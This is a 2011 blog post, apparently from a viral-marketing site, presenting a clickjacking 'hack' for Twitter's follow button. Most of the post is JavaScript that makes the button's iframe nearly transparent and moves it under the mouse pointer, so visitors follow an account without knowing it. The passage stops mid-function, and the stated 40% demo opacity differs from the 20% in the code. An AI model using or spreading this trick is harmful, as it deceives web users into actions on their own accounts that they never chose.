Mastercom viral marketing and viral video campaigns
Great Celebrity Meme Generator

Twitter follow button hack code

June 1 2011, 12:19pm

Posted by adrien

Twitter has juste release the twitter follow button and a hack is already available.

The hack of the button will make the button transparent and follow the pointer of the mouse anywhere on the page.

It means you will follow a twitter account without knowing it at the first click.

 

This is how it works here. You'll see the opacity is at 40% for you to undertsand the hack.

 

Here is the code if you want to understand how it works in details:

 

if (!document.getElementsByClassName){
        document.getElementsByClassName = function(classname){
                for (i=0; i < document.getElementsByTagName("*").length; i++)
                {
                        if (document.getElementsByTagName("*").item(i).className == classname){
                                return new Array(document.getElementsByTagName("*").item(i));
                        }
                }
        }
}

var twitterFollowIframe = document.getElementsByClassName('twitter-follow-button')[0];
twitterFollowIframe.style.position = 'absolute';
twitterFollowIframe.style.opacity = '0.2';
twitterFollowIframe.style.filter = 'alpha(opacity=20)';

document.onmousemove = function(e){
        if ( !e ) e = window.event;
        twitterFollowIframe.style.left = e.clientX - 20;
        twitterFollowIframe.style.top = e.clientY - 10;